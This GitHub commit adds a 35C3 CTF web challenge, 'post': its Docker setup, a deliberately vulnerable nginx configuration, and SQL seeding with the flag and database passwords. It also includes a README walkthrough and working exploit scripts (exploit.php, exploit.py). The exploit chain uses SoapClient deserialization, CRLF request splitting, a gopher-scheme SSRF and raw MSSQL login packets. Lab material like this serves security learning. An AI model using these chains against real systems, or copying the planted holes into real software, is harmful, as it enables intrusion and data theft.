Skip to content

Commit

Permalink
add web600-2
Browse files Browse the repository at this point in the history
  • Loading branch information
wonderkun committed Jan 10, 2019
1 parent 96e7e82 commit 39cf2b3
Show file tree
Hide file tree
Showing 31 changed files with 2,520 additions and 0 deletions.
2 changes: 2 additions & 0 deletions web600-2/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# 35c3 CTF challenges
Repository for challenges I have created for the 35c3 CTF.
Binary file added web600-2/img/2019-01-10-14-36-20.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added web600-2/img/2019-01-10-14-36-57.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added web600-2/img/2019-01-10-15-52-35.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
37 changes: 37 additions & 0 deletions web600-2/post/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
FROM ubuntu:latest

RUN apt-get -y update


RUN DEBIAN_FRONTEND=noninteractive apt-get -y install curl wget vim nginx php-fpm libssl1.0 gnupg gcc g++ make autoconf libc-dev pkg-config php-pear php-soap

RUN curl -s https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
RUN curl -s https://packages.microsoft.com/config/ubuntu/18.04/prod.list > /etc/apt/sources.list.d/mssql-release.list

RUN apt-get update
RUN ACCEPT_EULA=Y apt-get -y install msodbcsql17 mssql-tools unixodbc-dev

RUN apt-get -y install php7.2-dev

RUN pecl install sqlsrv && pecl install pdo_sqlsrv

RUN echo extension=sqlsrv.so > /etc/php/7.2/fpm/conf.d/sqlsrv.ini
RUN echo extension=pdo_sqlsrv.so > /etc/php/7.2/fpm/conf.d/pdo_sqlsrv.ini

RUN apt-get -y install php-curl php-mbstring php-xml php-zip

COPY default /etc/nginx/sites-available/default
RUN mkdir /var/www/uploads
RUN chown -R root:root /var/www/


# ADD web/html/ /var/www/html/
# ADD web/miniProxy/ /var/www/miniProxy/
VOLUME [ "/var/www/" ]
ADD default /var/www/default.backup

RUN chmod o+wx /var/www/uploads
RUN chmod o-r /var/www/uploads


CMD service php7.2-fpm start && service nginx start && /bin/bash
37 changes: 37 additions & 0 deletions web600-2/post/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# 'post' challenge

This was one of the web challenges. Congrats to 0daysober and LC/BC for solving it!

## Run
To run it locally just do `docker-compose build && docker-compose up`.

## Exploit
There are several steps to successfully exploit it.

1. **nginx misconfiguration**

You can leak the source code by navigating to `/uploads../`.
2. **arbitrary unserialize**

After auditing the source code, you will find that the application unserializes strings from the database that have the prefix `$serializedobject$`. However, there is a check to prevent you from injecting strings of that form into the database. Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains `0xEF 0xBC 0x84`, it will be stored as `$`.
3. **SoapClient SSRF**

SoapClient can perform POST requests if any method is called on the object. The `Attachment` class implements a `__toString` method, which calls `open` on its `za` property. Serializing a SoapClient as `za` property will therefore lead to SSRF.

4. **SoapClient CRLF injection**

There is a proxy running on `127.0.0.1:8080`, which you want to reach. Looking at the nginx configuration, it only accepts GET requests. However, SoapClient generates POST requests. But the `_user_agent` property of SoapClient is vulnerable to CRLF injection and thus you can perform a request splitting. By injection `\n\n` followed by a valid GET request, you can reach the proxy via a GET.

5. **miniProxy URL scheme bypass**

Here I fucked up a bit. Intended solution was to bypass the check for http/https in miniProxy. This is possible by using `gopher:///...` as miniProxy only verifies http/https if the host is set. Unfortunately, you can also just bypass it with a 301 redirect to gopher... SAD! :D

6. **Connect to MSSQL via gopher**

Final step was to connect to MSSQL via gopher using the credentials from the source code leak. The only thing to look out for here is that gopher automatically adds a `\r\n` to the request, which has to be accounted for when creating the MSSQL packets.

7. **Get flag**

The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case). Therefore to get the flag you want to copy it to one of your posts: `INSERT INTO posts (userid, content, title, attachment) VALUES (123, (select flag from flag.flag), "foo", "bar");-- -`. You can find your user id by sending a request to the application with the header `Debug: 1`.

To run the exploit do `python exploit.py`
2 changes: 2 additions & 0 deletions web600-2/post/build_docker.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/bash
exec docker build -t eboda/post .
46 changes: 46 additions & 0 deletions web600-2/post/default
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
server {
listen 80;
access_log /var/log/nginx/example.log;

server_name localhost;

root /var/www/html;

location /uploads {
autoindex on;
alias /var/www/uploads/;
}

location / {
alias /var/www/html/;
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

location /inc/ {
deny all;
}
}

server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;

if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

}
22 changes: 22 additions & 0 deletions web600-2/post/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
version: '3'


services:
db:
build: ./sqlserver
environment:
ACCEPT_EULA: Y
SA_PASSWORD: QIUHDI13hqssiuaQDHsaaseglpduac
ports:
- "1433:1433"
challenge:
build: .
volumes:
- ./web/html:/var/www/html
- ./web/miniProxy:/var/www/miniProxy
container_name: challenge
depends_on:
- db
ports:
- "8000:80"
tty: true
94 changes: 94 additions & 0 deletions web600-2/post/exploit/exploit.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
<?php

// the prelogin and login packets can either be assembled
// by hand if you are into that kind of stuff.
// or you can just use wireshark :)
$prelogin_packet = "\x12\x01\x00\x2f\x00\x00\x01\x00";
$prelogin_packet .= "\x00\x00\x1a\x00\x06\x01\x00\x20";
$prelogin_packet .= "\x00\x01\x02\x00\x21\x00\x01\x03";
$prelogin_packet .= "\x00\x22\x00\x04\x04\x00\x26\x00";
$prelogin_packet .= "\x01\xff\x00\x00\x00\x01\x00\x01";
$prelogin_packet .= "\x02\x00\x00\x00\x00\x00\x00";

$login_packet = "\x10\x01\x00\xde\x00\x00\x01\x00";
$login_packet .= "\xd6\x00\x00\x00\x04\x00\x00\x74";
$login_packet .= "\x00\x10\x00\x00\x00\x00\x00\x00";
$login_packet .= "\x54\x30\x00\x00\x00\x00\x00\x00";
$login_packet .= "\xe0\x00\x00\x08\xc4\xff\xff\xff";
$login_packet .= "\x09\x04\x00\x00\x5e\x00\x07\x00";
$login_packet .= "\x6c\x00\x0a\x00\x80\x00\x08\x00";
$login_packet .= "\x90\x00\x0a\x00\xa4\x00\x09\x00";
$login_packet .= "\xb6\x00\x00\x00\xb6\x00\x07\x00";
$login_packet .= "\xc4\x00\x00\x00\xc4\x00\x09\x00";
$login_packet .= "\x01\x02\x03\x04\x05\x06\xd6\x00";
$login_packet .= "\x00\x00\xd6\x00\x00\x00\xd6\x00";
$login_packet .= "\x00\x00\x00\x00\x00\x00\x61\x00";
$login_packet .= "\x77\x00\x65\x00\x73\x00\x6f\x00";
$login_packet .= "\x6d\x00\x65\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00\x72\x00";
$login_packet .= "\xc1\xa5\x53\xa5\x53\xa5\x83\xa5";
$login_packet .= "\xb3\xa5\x82\xa5\xb6\xa5\xb7\xa5";
$login_packet .= "\x6e\x00\x6f\x00\x64\x00\x65\x00";
$login_packet .= "\x2d\x00\x6d\x00\x73\x00\x73\x00";
$login_packet .= "\x71\x00\x6c\x00\x6c\x00\x6f\x00";
$login_packet .= "\x63\x00\x61\x00\x6c\x00\x68\x00";
$login_packet .= "\x6f\x00\x73\x00\x74\x00\x54\x00";
$login_packet .= "\x65\x00\x64\x00\x69\x00\x6f\x00";
$login_packet .= "\x75\x00\x73\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00";


// need to add a ;-- - to execute the query successfully,
// because gopher adds a \x0d\x0a to the end of the request
// and for some reaason the query does not execute if we don't
// comment that out
$query = $argv[1] . ";-- -";
$query = mb_convert_encoding($query, "utf-16le");

// the length of the packet is the length of the query +
// the length of the header (30 bytes) + the \x0d\x0a added
// by gopher protocol
$length = strlen($query) + 30 + 2;
$query_packet = "\x01\x01" . pack("n", $length) . "\x00\x00\x01\x00";
$query_packet .= "\x16\x00\x00\x00\x12\x00\x00\x00";
$query_packet .= "\x02\x00\x00\x00\x00\x00\x00\x00";
$query_packet .= "\x00\x00\x01\x00\x00\x00";
$query_packet .= $query;



$payload = $prelogin_packet . $login_packet . $query_packet;


// we want to deserialize an Attachment, since the application
// will make a call on the "za" property ($this->za->open(...))
class Attachment {
public function __construct($za) {
$this->za = $za;
}
}

// We use a SoapClient to make arbitrary HTTP calls. There is a
// proxy running on localhost which we can use to redirect the HTTP
// request to a gopher request (which we will then use to connect to
// MSSQL).
// However, the proxy only accepts GET requests and SoapClient generates
// POST requests only. Luckily, the _user_agent property is vulnerable to
// CRLF injection and we can do a request splitting by injecting two
// new lines and then our GET payload.
class BoapClient {
public $uri = "http://localhost:8080/miniProxy.php";
public $location = "http://localhost:8080/miniProxy.php";
public $_user_agent = NULL;
public function __construct() {
global $payload;
$this->_user_agent = "AAAAAHaha\n\nGET /miniProxy.php?gopher:///db:1433/A".str_replace("+","%20",urlencode($payload))." HTTP/1.1\nHost: localhost\n\n";
}

}


$a = new Attachment(new BoapClient);
echo base64_encode("\$serializedobject\xef\xbc\x84".str_replace("BoapClient", "SoapClient", serialize($a)));
52 changes: 52 additions & 0 deletions web600-2/post/exploit/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
import requests
import re
import random
import base64
import subprocess
import string

TARGET = "http://localhost:8000/"
s = requests.Session()

def register(user, pw):
url = "{}?page=register".format(TARGET)
data={"username": user, "password": pw}
s.post(url, data=data)

def login(user, pw):
url = "{}?page=login".format(TARGET)
data={"username": user, "password": pw}
s.post(url, data=data)

def fetch_uid():
return s.get(TARGET, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0]

def inject_object(payload):
serialized = subprocess.check_output(["php", "exploit.php", payload])
serialized = base64.b64decode(serialized)
files = {
"title": (None, "foobar"),
"content": (None, serialized),
}
s.post("{}?action=create".format(TARGET), files=files).content

def get_flag():
res = s.get(TARGET).content.decode()
return re.findall("35c3_[a-zA-Z0-9_]+", res)

user = "".join(random.choices(string.ascii_uppercase + string.digits, k=6))
pw = "".join(random.choices(string.ascii_uppercase + string.digits, k=6))

register(user, pw)
login(user, pw)

# get our user id using the "Debug" header
uid = fetch_uid()

# since we can't see any output of the curl command from the miniProxy,
# we will copy the flag into one of our posts and then view that post afterwards
payload = "insert into posts (userid, title, content, attachment) values ({}, \"foobar\", (select flag from flag.flag), \"foobar\");".format(uid)
inject_object(payload)

# get the flag :)
print(get_flag())
2 changes: 2 additions & 0 deletions web600-2/post/run_docker.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/sh
exec docker run -it --rm -p 127.0.0.1:8000:80 eboda/post
14 changes: 14 additions & 0 deletions web600-2/post/sqlserver/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
FROM mcr.microsoft.com/mssql/server:2017-latest
ENV ACCEPT_EULA y
ENV SA_PASSWORD QIUHDI13hqssiuaQDHsaaseglpduac


ADD *.sql /tmp/

RUN /opt/mssql/bin/sqlservr --accept-eula & sleep 20 \
&& /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_db.sql \
&& /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_schema.sql \
&& /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_tables.sql \
&& /bin/bash


4 changes: 4 additions & 0 deletions web600-2/post/sqlserver/create_db.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
USE master;
CREATE DATABASE challenge;
CREATE LOGIN challenger WITH PASSWORD = 'Foobar1!', DEFAULT_DATABASE = challenge;

8 changes: 8 additions & 0 deletions web600-2/post/sqlserver/create_schema.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
USE challenge;
execute('CREATE SCHEMA challenge');
execute('CREATE SCHEMA flag');
CREATE USER challenger FOR LOGIN challenger WITH DEFAULT_SCHEMA = [challenge];
GRANT SELECT, INSERT, DELETE, UPDATE ON SCHEMA :: [challenge] TO challenger;
GRANT SELECT ON SCHEMA :: [flag] TO challenger;
DENY SELECT ON SCHEMA :: sys TO challenger;
DENY SELECT ON SCHEMA :: INFORMATION_SCHEMA TO challenger;
8 changes: 8 additions & 0 deletions web600-2/post/sqlserver/create_tables.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
USE challenge;

CREATE TABLE [challenge].[user] ( uid INT IDENTITY(1,1) PRIMARY KEY, username VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL);

CREATE TABLE [challenge].posts ( id INT IDENTITY(1,1) NOT NULL PRIMARY KEY, attachment VARCHAR(4096) NOT NULL, title VARCHAR(255) NOT NULL, content VARCHAR(4096) NOT NULL, userid INT FOREIGN KEY REFERENCES [challenge].[user](uid));

CREATE TABLE [flag].[flag] (flag VARCHAR(255));
INSERT INTO [flag].[flag] (flag) VALUES("35c3_wel1_job_good_d0ne_heyho");
15 changes: 15 additions & 0 deletions web600-2/post/web/html/inc/bootstrap.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
<?php
session_start();
include 'inc/db.php';
include 'inc/user.php';

$page = $_GET["page"] ?? "";

if (!isset($_SESSION["username"]) && !in_array($page, array("login","register"))) {
header("Location: /?page=login");
die;
} else if (isset($_SESSION["username"])) {
$USER = new User($_SESSION["username"], $_SESSION["password"]);
if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER);
}

Loading

0 comments on commit 39cf2b3

Please sign in to comment.